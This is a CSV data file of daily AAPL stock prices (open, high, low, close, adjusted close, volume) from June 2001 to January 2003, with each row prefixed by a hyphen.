-2001-06-12,1.4121428728103638,1.4778571128845215,1.4114285707473755,1.4507142305374146,1.2592793703079224,75948600.0,AAPL
-2001-06-13,1.5299999713897705,1.552142858505249,1.4328571557998657,1.462142825126648,1.2691997289657593,127871800.0,AAPL
-2001-06-14,1.4314285516738892,1.460714340209961,1.4121428728103638,1.4199999570846558,1.232617735862732,74337200.0,AAPL
-2001-06-15,1.4357142448425293,1.4821428060531616,1.3821429014205933,1.4600000381469727,1.2673397064208984,113656200.0,AAPL
-2001-06-18,1.4578571319580078,1.4892857074737549,1.4285714626312256,1.4521428346633911,1.2605193853378296,86478000.0,AAPL
-2001-06-19,1.4892857074737549,1.5285714864730835,1.4292857646942139,1.4421428442001343,1.2518386840820312,80271800.0,AAPL
-2001-06-20,1.4285714626312256,1.5607142448425293,1.427142858505249,1.5478571653366089,1.3436028957366943,107905000.0,AAPL
-2001-06-21,1.539285659790039,1.6428571939468384,1.5071429014205933,1.606428623199463,1.3944456577301025,85332800.0,AAPL
-2001-06-22,1.6057143211364746,1.6428571939468384,1.5542857646942139,1.590000033378601,1.3801848888397217,71506400.0,AAPL
-2001-06-25,1.6071428060531616,1.7142857313156128,1.6035714149475098,1.7135714292526245,1.4874500036239624,109887400.0,AAPL
-2001-06-26,1.6671428680419922,1.697857141494751,1.643571376800537,1.6964285373687744,1.472569465637207,68195400.0,AAPL
-2001-06-27,1.7021428346633911,1.7142857313156128,1.6071428060531616,1.6671428680419922,1.4471482038497925,93532600.0,AAPL
-2001-06-28,1.6464285850524902,1.7078571319580078,1.6385713815689087,1.6814285516738892,1.4595485925674438,87102400.0,AAPL
-2001-06-29,1.690000057220459,1.7928571701049805,1.6571428775787354,1.6607142686843872,1.4415677785873413,128847600.0,AAPL
-2001-07-02,1.6885714530944824,1.7307143211364746,1.6528571844100952,1.7071428298950195,1.4818695783615112,57512000.0,AAPL
-2001-07-03,1.6792857646942139,1.7271428108215332,1.6785714626312256,1.7028571367263794,1.4781492948532104,28135800.0,AAPL
-2001-07-05,1.6857142448425293,1.697857141494751,1.643571376800537,1.656428575515747,1.4378474950790405,38073000.0,AAPL
-2001-07-06,1.6257143020629883,1.6399999856948853,1.5514285564422607,1.5735714435577393,1.3659242391586304,75730200.0,AAPL
-2001-07-09,1.5778571367263794,1.6428571939468384,1.5485714673995972,1.6214286088943481,1.407466173171997,84366800.0,AAPL
-2001-07-10,1.639285683631897,1.6478571891784668,1.4885714054107666,1.5099999904632568,1.3107415437698364,98817600.0,AAPL
-2001-07-11,1.5021429061889648,1.610714316368103,1.5,1.6100000143051147,1.3975461721420288,117626600.0,AAPL
-2001-07-12,1.664285659790039,1.7721428871154785,1.664285659790039,1.7400000095367432,1.5103907585144043,153700400.0,AAPL
-2001-07-13,1.7235714197158813,1.7864285707473755,1.7028571367263794,1.774999976158142,1.540772557258606,113685600.0,AAPL
-2001-07-16,1.777142882347107,1.7928571701049805,1.7078571319580078,1.7114285230636597,1.485589861869812,69666800.0,AAPL
-2001-07-17,1.7128571271896362,1.8014285564422607,1.643571376800537,1.7928571701049805,1.556273102760315,161957600.0,AAPL
-2001-07-18,1.5557142496109009,1.6271429061889648,1.458571434020996,1.4850000143051147,1.2890406847000122,284253200.0,AAPL
-2001-07-19,1.5164285898208618,1.5299999713897705,1.4107142686843872,1.4257142543792725,1.2375785112380981,215285000.0,AAPL
-2001-07-20,1.4071428775787354,1.4328571557998657,1.39214289188385,1.427142858505249,1.2388182878494263,111146000.0,AAPL
-2001-07-23,1.434999942779541,1.4642857313156128,1.393571376800537,1.395714282989502,1.21153724193573,60340000.0,AAPL
-2001-07-24,1.3849999904632568,1.4228571653366089,1.3378571271896362,1.3635714054107666,1.1836354732513428,87094000.0,AAPL
-2001-07-25,1.3657143115997314,1.3785713911056519,1.283571481704712,1.3192857503890991,1.1451938152313232,110969600.0,AAPL
-2001-07-26,1.3200000524520874,1.3428571224212646,1.274999976158142,1.3278571367263794,1.1526339054107666,92285200.0,AAPL
-2001-07-27,1.3392857313156128,1.375,1.3214285373687744,1.354285717010498,1.1755751371383667,83533800.0,AAPL
-2001-07-30,1.3657143115997314,1.382857084274292,1.3221428394317627,1.3521428108215332,1.1737152338027954,60839800.0,AAPL
-2001-07-31,1.3764286041259766,1.3871428966522217,1.3221428394317627,1.3421428203582764,1.1650347709655762,58756600.0,AAPL
-2001-08-01,1.35785710811615,1.412857174873352,1.3535714149475098,1.3614286184310913,1.181775689125061,76034000.0,AAPL
-2001-08-02,1.4035714864730835,1.4192856550216675,1.3757143020629883,1.4157142639160156,1.2288975715637207,63022400.0,AAPL
-2001-08-03,1.420714259147644,1.4214285612106323,1.3571428060531616,1.3928571939468384,1.2090569734573364,46513600.0,AAPL
-2001-08-06,1.3600000143051147,1.4042856693267822,1.3571428060531616,1.3664286136627197,1.1861158609390259,24913000.0,AAPL
-2001-08-07,1.3807142972946167,1.4049999713897705,1.3557143211364746,1.375,1.1935560703277588,42137200.0,AAPL
-2001-08-08,1.3757143020629883,1.4071428775787354,1.3242857456207275,1.350000023841858,1.1718553304672241,69042400.0,AAPL
-2001-08-09,1.354285717010498,1.3678570985794067,1.337142825126648,1.360714316368103,1.1811553239822388,50166200.0,AAPL
-2001-08-10,1.3600000143051147,1.3799999952316284,1.3278571367263794,1.3585714101791382,1.1792954206466675,46740400.0,AAPL
-2001-08-13,1.3642857074737549,1.3807142972946167,1.340000033378601,1.3635714054107666,1.1836354732513428,36999200.0,AAPL
-2001-08-14,1.3714286088943481,1.382857084274292,1.333571434020996,1.3378571271896362,1.161314606666565,57237600.0,AAPL
-2001-08-15,1.340000033378601,1.3528571128845215,1.2999999523162842,1.3171428442001343,1.1433337926864624,72319800.0,AAPL
-2001-08-16,1.3049999475479126,1.3392857313156128,1.283571481704712,1.3321428298950195,1.1563544273376465,72023000.0,AAPL
-2001-08-17,1.2857142686843872,1.3178571462631226,1.284999966621399,1.2907142639160156,1.1203930377960205,52106600.0,AAPL
-2001-08-20,1.295714259147644,1.302142858505249,1.2721428871154785,1.2942856550216675,1.1234925985336304,63075600.0,AAPL
-2001-08-21,1.295714259147644,1.295714259147644,1.264285683631897,1.2799999713897705,1.111092209815979,46425400.0,AAPL
-2001-08-22,1.281428575515747,1.3035714626312256,1.257857084274292,1.3007142543792725,1.1290730237960815,43493800.0,AAPL
-2001-08-23,1.2999999523162842,1.309999942779541,1.2557142972946167,1.2721428871154785,1.1042717695236206,54269600.0,AAPL
-2001-08-24,1.2857142686843872,1.3300000429153442,1.2607142925262451,1.3264285326004028,1.1513943672180176,72583000.0,AAPL
-2001-08-27,1.3285714387893677,1.3785713911056519,1.2971428632736206,1.3514286279678345,1.1730955839157104,43911000.0,AAPL
-2001-08-28,1.350000023841858,1.367142915725708,1.3142857551574707,1.3142857551574707,1.1408538818359375,42933800.0,AAPL
-2001-08-29,1.3171428442001343,1.3450000286102295,1.2735713720321655,1.2735713720321655,1.1055121421813965,59992800.0,AAPL
-2001-08-30,1.26714289188385,1.2985714673995972,1.2342857122421265,1.2735713720321655,1.1055121421813965,92173200.0,AAPL
-2001-08-31,1.2664285898208618,1.3285714387893677,1.2607142925262451,1.3250000476837158,1.1501539945602417,54226200.0,AAPL
-2001-09-04,1.3214285373687744,1.3628571033477783,1.2985714673995972,1.3035714626312256,1.1315531730651855,87053400.0,AAPL
-2001-09-05,1.3028571605682373,1.3535714149475098,1.2942856550216675,1.3250000476837158,1.1501539945602417,90014400.0,AAPL
-2001-09-06,1.3142857551574707,1.3521428108215332,1.2607142925262451,1.2657142877578735,1.0986915826797485,70592200.0,AAPL
-2001-09-07,1.25,1.2928571701049805,1.2285714149475098,1.2342857122421265,1.0714101791381836,60457600.0,AAPL
-2001-09-10,1.2142857313156128,1.25,1.208571434020996,1.2407143115997314,1.0769908428192139,77211400.0,AAPL
-2001-09-17,1.1428571939468384,1.2192857265472412,1.1235713958740234,1.2135714292526245,1.0534296035766602,114501800.0,AAPL
-2001-09-18,1.2071428298950195,1.2657142877578735,1.1549999713897705,1.162857174873352,1.009407639503479,81775400.0,AAPL
-2001-09-19,1.1785714626312256,1.2214285135269165,1.1142857074737549,1.2157143354415894,1.0552897453308105,93329600.0,AAPL
-2001-09-20,1.1635714769363403,1.210714340209961,1.1071428060531616,1.1200000047683716,0.972205638885498,102793600.0,AAPL
-2001-09-21,1.0571428537368774,1.1607142686843872,1.0485714673995972,1.1235713958740234,0.9753057956695557,142629200.0,AAPL
-2001-09-24,1.1507142782211304,1.2028571367263794,1.139285683631897,1.1749999523162842,1.019948124885559,73634400.0,AAPL
-2001-09-25,1.1528571844100952,1.158571481704712,1.0964285135269165,1.1100000143051147,0.9635253548622131,93601200.0,AAPL
-2001-09-26,1.1292856931686401,1.1349999904632568,1.066428542137146,1.0821428298950195,0.9393441677093506,123449200.0,AAPL
-2001-09-27,1.0892857313156128,1.125,1.085714340209961,1.10785710811615,0.9616649746894836,80560200.0,AAPL
-2001-09-28,1.1221429109573364,1.1364285945892334,1.0992857217788696,1.10785710811615,0.9616649746894836,91277200.0,AAPL
-2001-10-01,1.106428623199463,1.14214289188385,1.0878571271896362,1.1100000143051147,0.9635253548622131,52052000.0,AAPL
-2001-10-02,1.1021428108215332,1.1307142972946167,1.0628571510314941,1.0750000476837158,0.933143675327301,58970800.0,AAPL
-2001-10-03,1.0678571462631226,1.0971428155899048,1.0592857599258423,1.0700000524520874,0.9288036823272705,170760800.0,AAPL
-2001-10-04,1.0964285135269165,1.1607142686843872,1.0707142353057861,1.1342856884002686,0.9846063852310181,100280600.0,AAPL
-2001-10-05,1.100000023841858,1.1535714864730835,1.0707142353057861,1.1528571844100952,1.0007272958755493,85671600.0,AAPL
-2001-10-08,1.11214280128479,1.1678571701049805,1.1071428060531616,1.1571428775787354,1.004447340965271,51996000.0,AAPL
-2001-10-09,1.1464285850524902,1.1571428775787354,1.1164286136627197,1.1428571939468384,0.9920467734336853,43506400.0,AAPL
-2001-10-10,1.149999976158142,1.2035714387893677,1.139285683631897,1.2014285326004028,1.04288911819458,76939800.0,AAPL
-2001-10-11,1.208571434020996,1.26714289188385,1.2035714387893677,1.26714289188385,1.0999315977096558,83540800.0,AAPL
-2001-10-12,1.2364286184310913,1.291428565979004,1.204285740852356,1.2864285707473755,1.1166725158691406,71953000.0,AAPL
-2001-10-15,1.2821428775787354,1.3128571510314941,1.2821428775787354,1.284999966621399,1.115432620048523,79688000.0,AAPL
-2001-10-16,1.2921428680419922,1.2999999523162842,1.2692856788635254,1.2864285707473755,1.1166725158691406,50737400.0,AAPL
-2001-10-17,1.309999942779541,1.315000057220459,1.2114285230636597,1.2135714292526245,1.0534296035766602,71384600.0,AAPL
-2001-10-18,1.2350000143051147,1.302142858505249,1.2350000143051147,1.2857142686843872,1.1160523891448975,153143200.0,AAPL
-2001-10-19,1.281428575515747,1.3142857551574707,1.277142882347107,1.3071428537368774,1.1346534490585327,41697600.0,AAPL
-2001-10-22,1.3007142543792725,1.36214280128479,1.2921428680419922,1.3585714101791382,1.1792954206466675,97984600.0,AAPL
-2001-10-23,1.3657143115997314,1.3871428966522217,1.2764285802841187,1.295714259147644,1.1247330904006958,171245200.0,AAPL
-2001-10-24,1.2899999618530273,1.3635714054107666,1.2678571939468384,1.3535714149475098,1.174955129623413,93606800.0,AAPL
-2001-10-25,1.3171428442001343,1.375,1.2971428632736206,1.3707143068313599,1.1898361444473267,63737800.0,AAPL
-2001-10-26,1.3471428155899048,1.375,1.3300000429153442,1.333571434020996,1.1575943231582642,69741000.0,AAPL
-2001-10-29,1.3264285326004028,1.333571434020996,1.2571429014205933,1.2592856884002686,1.093111276626587,59795400.0,AAPL
-2001-10-30,1.2414286136627197,1.2857142686843872,1.218571424484253,1.2571429014205933,1.091251254081726,69190800.0,AAPL
-2001-10-31,1.2664285898208618,1.3142857551574707,1.2457143068313599,1.2542856931686401,1.0887713432312012,68437600.0,AAPL
-2001-11-01,1.2607142925262451,1.341428518295288,1.2321428060531616,1.3278571367263794,1.1526339054107666,78248800.0,AAPL
-2001-11-02,1.322857141494751,1.3471428155899048,1.2971428632736206,1.3264285326004028,1.1513943672180176,49301000.0,AAPL
-2001-11-05,1.3457143306732178,1.375,1.329285740852356,1.36214280128479,1.1823956966400146,58948400.0,AAPL
-2001-11-06,1.354285717010498,1.4014285802841187,1.3235714435577393,1.3978571891784668,1.2133969068527222,79004800.0,AAPL
-2001-11-07,1.3899999856948853,1.4378571510314941,1.3807142972946167,1.3992856740951538,1.2146371603012085,95747400.0,AAPL
-2001-11-08,1.402142882347107,1.420714259147644,1.3264285326004028,1.3364285230636597,1.1600744724273682,85535800.0,AAPL
-2001-11-09,1.3285714387893677,1.375,1.3250000476837158,1.3364285230636597,1.1600744724273682,33573400.0,AAPL
-2001-11-12,1.3328571319580078,1.3692857027053833,1.2828571796417236,1.3392857313156128,1.1625550985336304,50374800.0,AAPL
-2001-11-13,1.3628571033477783,1.3849999904632568,1.3364285230636597,1.3835713863372803,1.2009962797164917,56168000.0,AAPL
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-2001-11-20,1.4157142639160156,1.4428571462631226,1.3928571939468384,1.3949999809265137,1.2109169960021973,69146000.0,AAPL
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-2001-12-12,1.5621428489685059,1.5657142400741577,1.5178571939468384,1.534999966621399,1.3324424028396606,48115200.0,AAPL
-2001-12-13,1.534999966621399,1.539285659790039,1.4642857313156128,1.5,1.3020614385604858,49460600.0,AAPL
-2001-12-14,1.4807143211364746,1.4878571033477783,1.434999942779541,1.4564285278320312,1.2642394304275513,47471200.0,AAPL
-2001-12-17,1.4571428298950195,1.5,1.4421428442001343,1.472857117652893,1.278499960899353,43428000.0,AAPL
-2001-12-18,1.492142915725708,1.5235713720321655,1.4442857503890991,1.5007143020629883,1.3026814460754395,58809800.0,AAPL
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-2001-12-24,1.4928570985794067,1.5321428775787354,1.4928570985794067,1.5257142782211304,1.3243825435638428,12657400.0,AAPL
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-2001-12-27,1.541428565979004,1.5892857313156128,1.541428565979004,1.5764285326004028,1.3684043884277344,47877200.0,AAPL
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-2002-01-02,1.5750000476837158,1.664285659790039,1.5685714483261108,1.664285659790039,1.4446676969528198,132374200.0,AAPL
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-2002-01-09,1.6285713911056519,1.63785719871521,1.5199999809265137,1.5464285612106323,1.3423631191253662,81958800.0,AAPL
-2002-01-10,1.5157142877578735,1.5328571796417236,1.4464285373687744,1.5164285898208618,1.316321849822998,113184400.0,AAPL
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-2002-01-18,1.5714285373687744,1.6142857074737549,1.5685714483261108,1.583571434020996,1.3746044635772705,84702800.0,AAPL
-2002-01-22,1.5907143354415894,1.597857117652893,1.558571457862854,1.558571457862854,1.3529037237167358,81828600.0,AAPL
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-2002-01-28,1.6714285612106323,1.6821428537368774,1.6228570938110352,1.6621428728103638,1.4428077936172485,46611600.0,AAPL
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-2002-02-14,1.789285659790039,1.802142858505249,1.7414286136627197,1.7571429014205933,1.525272011756897,65042600.0,AAPL
-2002-02-15,1.7521429061889648,1.7842856645584106,1.7035714387893677,1.7071428298950195,1.4818695783615112,65046800.0,AAPL
-2002-02-19,1.6971428394317627,1.7050000429153442,1.6057143211364746,1.6157143115997314,1.4025057554244995,97564600.0,AAPL
-2002-02-20,1.6264286041259766,1.6571428775787354,1.5964285135269165,1.652142882347107,1.4341275691986084,71360800.0,AAPL
-2002-02-21,1.6371428966522217,1.6428571939468384,1.5321428775787354,1.5357142686843872,1.333062767982483,111687800.0,AAPL
-2002-02-22,1.5471428632736206,1.639285683631897,1.5357142686843872,1.6242856979370117,1.4099462032318115,101619000.0,AAPL
-2002-02-25,1.6321429014205933,1.7657142877578735,1.5971428155899048,1.7007142305374146,1.4762892723083496,106712200.0,AAPL
-2002-02-26,1.7078571319580078,1.7407143115997314,1.6607142686843872,1.6907142400741577,1.467609167098999,65032800.0,AAPL
-2002-02-27,1.7100000381469727,1.7321428060531616,1.4957143068313599,1.5685714483261108,1.3615843057632446,257539800.0,AAPL
-2002-02-28,1.5821428298950195,1.6135714054107666,1.524999976158142,1.5499999523162842,1.3454627990722656,114234400.0,AAPL
-2002-03-01,1.566428542137146,1.6785714626312256,1.558571457862854,1.6749999523162842,1.4539682865142822,87248000.0,AAPL
-2002-03-04,1.6614285707473755,1.7557142972946167,1.6257143020629883,1.7350000143051147,1.506050705909729,87064600.0,AAPL
-2002-03-05,1.725000023841858,1.7450000047683716,1.6714285612106323,1.6807142496109009,1.4589287042617798,68675600.0,AAPL
-2002-03-06,1.677142858505249,1.7385714054107666,1.63785719871521,1.7192857265472412,1.4924105405807495,56551600.0,AAPL
-2002-03-07,1.718571424484253,1.7521429061889648,1.6864285469055176,1.7414286136627197,1.5116311311721802,64562400.0,AAPL
-2002-03-08,1.76714289188385,1.7921428680419922,1.735714316368103,1.7614285945892334,1.5289920568466187,67443600.0,AAPL
-2002-03-11,1.7571429014205933,1.795714259147644,1.7214285135269165,1.7899999618530273,1.553792953491211,65696400.0,AAPL
-2002-03-12,1.7507143020629883,1.76714289188385,1.7214285135269165,1.7657142877578735,1.5327121019363403,63513800.0,AAPL
-2002-03-13,1.7407143115997314,1.774999976158142,1.725000023841858,1.7492856979370117,1.5184513330459595,50191400.0,AAPL
-2002-03-14,1.735714316368103,1.7571429014205933,1.7050000429153442,1.7450000047683716,1.5147310495376587,54324200.0,AAPL
-2002-03-15,1.7471429109573364,1.7828571796417236,1.7321428060531616,1.7821428775787354,1.546972632408142,60225200.0,AAPL
-2002-03-18,1.7821428775787354,1.789285659790039,1.73714280128479,1.76714289188385,1.533952236175537,76139000.0,AAPL
-2002-03-19,1.7635713815689087,1.8071428537368774,1.735714316368103,1.774999976158142,1.540772557258606,60586400.0,AAPL
-2002-03-20,1.7614285945892334,1.795714259147644,1.75,1.7799999713897705,1.5451126098632812,73579800.0,AAPL
-2002-03-21,1.704285740852356,1.735714316368103,1.6614285707473755,1.7335714101791382,1.5048109292984009,154088200.0,AAPL
-2002-03-22,1.7300000190734863,1.7542856931686401,1.7050000429153442,1.7207143306732178,1.4936505556106567,50548400.0,AAPL
-2002-03-25,1.7192857265472412,1.7207143306732178,1.659999966621399,1.6678571701049805,1.447768211364746,65707600.0,AAPL
-2002-03-26,1.6571428775787354,1.6885714530944824,1.6428571939468384,1.6757142543792725,1.4545886516571045,64460200.0,AAPL
-2002-03-27,1.6678571701049805,1.6942857503890991,1.6614285707473755,1.6764285564422607,1.455208420753479,31925600.0,AAPL
-2002-03-28,1.6928571462631226,1.7057143449783325,1.6757142543792725,1.6907142400741577,1.467609167098999,27113800.0,AAPL
-2002-04-01,1.6699999570846558,1.764285683631897,1.662857174873352,1.7471429109573364,1.5165913105010986,49761600.0,AAPL
-2002-04-02,1.7142857313156128,1.735714316368103,1.7050000429153442,1.7192857265472412,1.4924105405807495,50948800.0,AAPL
-2002-04-03,1.7178571224212646,1.7492856979370117,1.6857142448425293,1.6964285373687744,1.472569465637207,53632600.0,AAPL
-2002-04-04,1.6907142400741577,1.789285659790039,1.6907142400741577,1.7785714864730835,1.5438728332519531,84624400.0,AAPL
-2002-04-05,1.7821428775787354,1.7992857694625854,1.7214285135269165,1.76714289188385,1.533952236175537,69587000.0,AAPL
-2002-04-08,1.7257143259048462,1.76285719871521,1.6985714435577393,1.7542856931686401,1.5227919816970825,65378600.0,AAPL
-2002-04-09,1.756428599357605,1.7857142686843872,1.715000033378601,1.7214285135269165,1.4942702054977417,47882800.0,AAPL
-2002-04-10,1.729285717010498,1.7821428775787354,1.715000033378601,1.7614285945892334,1.5289920568466187,56245000.0,AAPL
-2002-04-11,1.787857174873352,1.7999999523162842,1.7678571939468384,1.7757142782211304,1.5413923263549805,101813600.0,AAPL
-2002-04-12,1.7864285707473755,1.7978571653366089,1.7549999952316284,1.7899999618530273,1.553792953491211,80060400.0,AAPL
-2002-04-15,1.7899999618530273,1.7964285612106323,1.7714285850524902,1.7857142686843872,1.5500725507736206,74842600.0,AAPL
-2002-04-16,1.7964285612106323,1.856428623199463,1.7942856550216675,1.8385714292526245,1.5959548950195312,153644400.0,AAPL
-2002-04-17,1.8521428108215332,1.8692857027053833,1.8128571510314941,1.8650000095367432,1.6188963651657104,99062600.0,AAPL
-2002-04-18,1.8214285373687744,1.822857141494751,1.777142882347107,1.815000057220459,1.5754941701889038,100427600.0,AAPL
-2002-04-19,1.8207142353057861,1.8207142353057861,1.7807142734527588,1.7842856645584106,1.5488330125808716,93851800.0,AAPL
-2002-04-22,1.7742856740951538,1.7807142734527588,1.7307143211364746,1.7521429061889648,1.5209314823150635,67356800.0,AAPL
-2002-04-23,1.7528570890426636,1.7699999809265137,1.7207143306732178,1.7321428060531616,1.5035706758499146,58367400.0,AAPL
-2002-04-24,1.735714316368103,1.75,1.691428542137146,1.697857141494751,1.4738093614578247,35112000.0,AAPL
-2002-04-25,1.6828571557998657,1.7385714054107666,1.6821428537368774,1.722857117652893,1.495510220527649,48550600.0,AAPL
-2002-04-26,1.7342857122421265,1.7407143115997314,1.6428571939468384,1.643571376800537,1.4266871213912964,76245400.0,AAPL
-2002-04-29,1.6542856693267822,1.718571424484253,1.6492856740951538,1.7114285230636597,1.485589861869812,68072200.0,AAPL
-2002-04-30,1.7064285278320312,1.7414286136627197,1.6964285373687744,1.7335714101791382,1.5048109292984009,70240800.0,AAPL
-2002-05-01,1.7350000143051147,1.7350000143051147,1.6685714721679688,1.7128571271896362,1.4868297576904297,53676000.0,AAPL
-2002-05-02,1.7007142305374146,1.7385714054107666,1.6857142448425293,1.6921428442001343,1.4688488245010376,59836000.0,AAPL
-2002-05-03,1.683571457862854,1.7157143354415894,1.6735714673995972,1.6792857646942139,1.457688570022583,57695400.0,AAPL
-2002-05-06,1.6678571701049805,1.6785714626312256,1.604285717010498,1.6178570985794067,1.4043657779693604,62416200.0,AAPL
-2002-05-07,1.6385713815689087,1.639285683631897,1.5814285278320312,1.6050000190734863,1.3932054042816162,60687200.0,AAPL
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-2002-05-09,1.7321428060531616,1.7392857074737549,1.7000000476837158,1.7278571128845215,1.4998503923416138,56154000.0,AAPL
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-2002-07-29,1.0342856645584106,1.0785714387893677,1.0264285802841187,1.072857141494751,0.9312838912010193,68740000.0,AAPL
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-2002-08-02,1.0528571605682373,1.0714285373687744,1.0178571939468384,1.0321428775787354,0.8959421515464783,44765000.0,AAPL
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-2002-08-23,1.1357142925262451,1.13785719871521,1.1035714149475098,1.1235713958740234,0.9753057956695557,40811400.0,AAPL
-2002-08-26,1.139285683631897,1.139285683631897,1.0828571319580078,1.1092857122421265,0.9629055857658386,47492200.0,AAPL
-2002-08-27,1.1221429109573364,1.1242856979370117,1.0507142543792725,1.0607142448425293,0.9207432866096497,65557800.0,AAPL
-2002-08-28,1.0571428537368774,1.0800000429153442,1.0464285612106323,1.0499999523162842,0.9114428162574768,61993400.0,AAPL
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-2002-08-30,1.052142858505249,1.0814285278320312,1.041428565979004,1.0535714626312256,0.9145429134368896,48379800.0,AAPL
-2002-09-03,1.034999966621399,1.039285659790039,1.0035713911056519,1.0035713911056519,0.8711410164833069,69234200.0,AAPL
-2002-09-04,1.014285683631897,1.0557142496109009,1.0121428966522217,1.0342856645584106,0.8978020548820496,105165200.0,AAPL
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-2002-09-06,1.0364285707473755,1.0464285612106323,1.0164285898208618,1.027142882347107,0.8916016817092896,45397800.0,AAPL
-2002-09-09,1.0199999809265137,1.037857174873352,1.0107142925262451,1.0264285802841187,0.8909816741943359,39561200.0,AAPL
-2002-09-10,1.0292856693267822,1.034999966621399,1.0085713863372803,1.0235713720321655,0.8885018229484558,62367200.0,AAPL
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-2002-09-13,1.0092856884002686,1.0242856740951538,1.0035713911056519,1.0121428966522217,0.8785813450813293,70737800.0,AAPL
-2002-09-16,1.0099999904632568,1.0435714721679688,1.0085713863372803,1.0357142686843872,0.8990421295166016,71660400.0,AAPL
-2002-09-17,1.0407142639160156,1.0735714435577393,1.0407142639160156,1.0571428537368774,0.9176430702209473,106999200.0,AAPL
-2002-09-18,1.0492857694625854,1.0778571367263794,1.0371428728103638,1.072857141494751,0.9312838912010193,82160400.0,AAPL
-2002-09-19,1.0535714626312256,1.0571428537368774,1.0342856645584106,1.041428565979004,0.9040025472640991,51486400.0,AAPL
-2002-09-20,1.0442856550216675,1.0671428442001343,1.0371428728103638,1.0621428489685059,0.9219833016395569,88197200.0,AAPL
-2002-09-23,1.0542857646942139,1.0685714483261108,1.0321428775787354,1.0607142448425293,0.9207432866096497,65927400.0,AAPL
-2002-09-24,1.0285714864730835,1.058571457862854,1.0285714864730835,1.045714259147644,0.9077224135398865,62665400.0,AAPL
-2002-09-25,1.0492857694625854,1.083571434020996,1.0464285612106323,1.066428542137146,0.9257036447525024,63670600.0,AAPL
-2002-09-26,1.0785714387893677,1.0850000381469727,1.039285659790039,1.0499999523162842,0.9114428162574768,52161200.0,AAPL
-2002-09-27,1.034999966621399,1.0607142448425293,1.0342856645584106,1.0514285564422607,0.9126830697059631,51538200.0,AAPL
-2002-09-30,1.0285714864730835,1.0407142639160156,1.0099999904632568,1.0357142686843872,0.8990421295166016,59424400.0,AAPL
-2002-10-01,1.0421428680419922,1.0428571701049805,1.0,1.0364285707473755,0.899662435054779,85605800.0,AAPL
-2002-10-02,1.0235713720321655,1.0449999570846558,1.0071429014205933,1.0121428966522217,0.8785813450813293,57337000.0,AAPL
-2002-10-03,1.01285719871521,1.0428571701049805,1.0042856931686401,1.0214285850524902,0.8866417407989502,54474000.0,AAPL
-2002-10-04,1.0257142782211304,1.0285714864730835,0.9992856979370117,1.0021429061889648,0.8699009418487549,47706400.0,AAPL
-2002-10-07,0.9978571534156799,1.0149999856948853,0.9828571677207947,0.9835714101791382,0.853780210018158,61174400.0,AAPL
-2002-10-08,0.9928571581840515,0.9971428513526917,0.954285740852356,0.977142870426178,0.8482000827789307,113411200.0,AAPL
-2002-10-09,0.9671428799629211,0.9892857074737549,0.9578571319580078,0.970714271068573,0.8426195979118347,89171600.0,AAPL
-2002-10-10,0.9735714197158813,1.0157142877578735,0.9700000286102295,1.007857084274292,0.8748608827590942,80393600.0,AAPL
-2002-10-11,1.0178571939468384,1.0557142496109009,1.0071429014205933,1.0364285707473755,0.899662435054779,73669400.0,AAPL
-2002-10-14,1.039285659790039,1.0700000524520874,1.031428575515747,1.0549999475479126,0.9157830476760864,48601000.0,AAPL
-2002-10-15,1.087142825126648,1.0892857313156128,1.0557142496109009,1.0828571319580078,0.9399641156196594,101379600.0,AAPL
-2002-10-16,1.0614285469055176,1.0807143449783325,0.9928571581840515,1.0399999618530273,0.9027625322341919,76906200.0,AAPL
-2002-10-17,1.0149999856948853,1.027142882347107,0.9985714554786682,1.007857084274292,0.8748608827590942,117324200.0,AAPL
-2002-10-18,1.0,1.024999976158142,0.9950000047683716,1.0242856740951538,0.8891218304634094,72074800.0,AAPL
-2002-10-21,1.018571376800537,1.0449999570846558,1.0,1.0399999618530273,0.9027625322341919,59630200.0,AAPL
-2002-10-22,1.033571481704712,1.0628571510314941,1.018571376800537,1.0499999523162842,0.9114428162574768,54537000.0,AAPL
-2002-10-23,1.0449999570846558,1.0700000524520874,1.0357142686843872,1.0628571510314941,0.9226035475730896,52259200.0,AAPL
-2002-10-24,1.072857141494751,1.0864285230636597,1.039285659790039,1.0492857694625854,0.9108228087425232,43687000.0,AAPL
-2002-10-25,1.0492857694625854,1.1035714149475098,1.0421428680419922,1.1014286279678345,0.9560850262641907,69767600.0,AAPL
-2002-10-28,1.110714316368103,1.139285683631897,1.0892857313156128,1.1150000095367432,0.9678654670715332,87325000.0,AAPL
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-2002-10-30,1.106428623199463,1.1692856550216675,1.1057143211364746,1.1414285898208618,0.9908066391944885,67669000.0,AAPL
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-2002-12-12,1.10785710811615,1.110714316368103,1.0721428394317627,1.0850000381469727,0.9418243765830994,37335200.0,AAPL
-2002-12-13,1.0814285278320312,1.0821428298950195,1.0464285612106323,1.0564285516738892,0.9170230031013489,41195000.0,AAPL
-2002-12-16,1.0578571557998657,1.0785714387893677,1.0435714721679688,1.0607142448425293,0.9207432866096497,62906200.0,AAPL
-2002-12-17,1.0607142448425293,1.0850000381469727,1.0471428632736206,1.0771428346633911,0.9350039958953857,55665400.0,AAPL
-2002-12-18,1.0571428537368774,1.0614285469055176,1.0357142686843872,1.0407142639160156,0.9033825397491455,37675400.0,AAPL
-2002-12-19,1.037857174873352,1.0657142400741577,1.0071429014205933,1.014285683631897,0.8804413080215454,86879800.0,AAPL
-2002-12-20,1.020714282989502,1.0399999618530273,0.9842857122421265,1.0099999904632568,0.8767213821411133,79524200.0,AAPL
-2002-12-23,1.0114285945892334,1.039285659790039,1.0085713863372803,1.034999966621399,0.8984222412109375,31456600.0,AAPL
-2002-12-24,1.031428575515747,1.033571481704712,1.0214285850524902,1.0257142782211304,0.8903619050979614,9835000.0,AAPL
-2002-12-26,1.0299999713897705,1.0578571557998657,1.0199999809265137,1.0285714864730835,0.8928419351577759,21355600.0,AAPL
-2002-12-27,1.0221428871154785,1.027142882347107,1.0007143020629883,1.0042856931686401,0.8717608451843262,20008800.0,AAPL
-2002-12-30,1.0057142972946167,1.0107142925262451,0.9885714054107666,1.0049999952316284,0.8723809719085693,38760400.0,AAPL
-2002-12-31,1.0,1.0257142782211304,0.9964285492897034,1.0235713720321655,0.8885018229484558,50181600.0,AAPL
-2003-01-02,1.0257142782211304,1.0657142400741577,1.024999976158142,1.0571428537368774,0.9176430702209473,45357200.0,AAPL
-2003-01-03,1.0571428537368774,1.066428542137146,1.0421428680419922,1.0642857551574707,0.923843502998352,36863400.0,AAPL
-2003-01-06,1.0735714435577393,1.0985714197158813,1.0628571510314941,1.0642857551574707,0.923843502998352,97633200.0,AAPL
-2003-01-07,1.0564285516738892,1.0714285373687744,1.033571481704712,1.0607142448425293,0.9207432866096497,85586200.0,AAPL
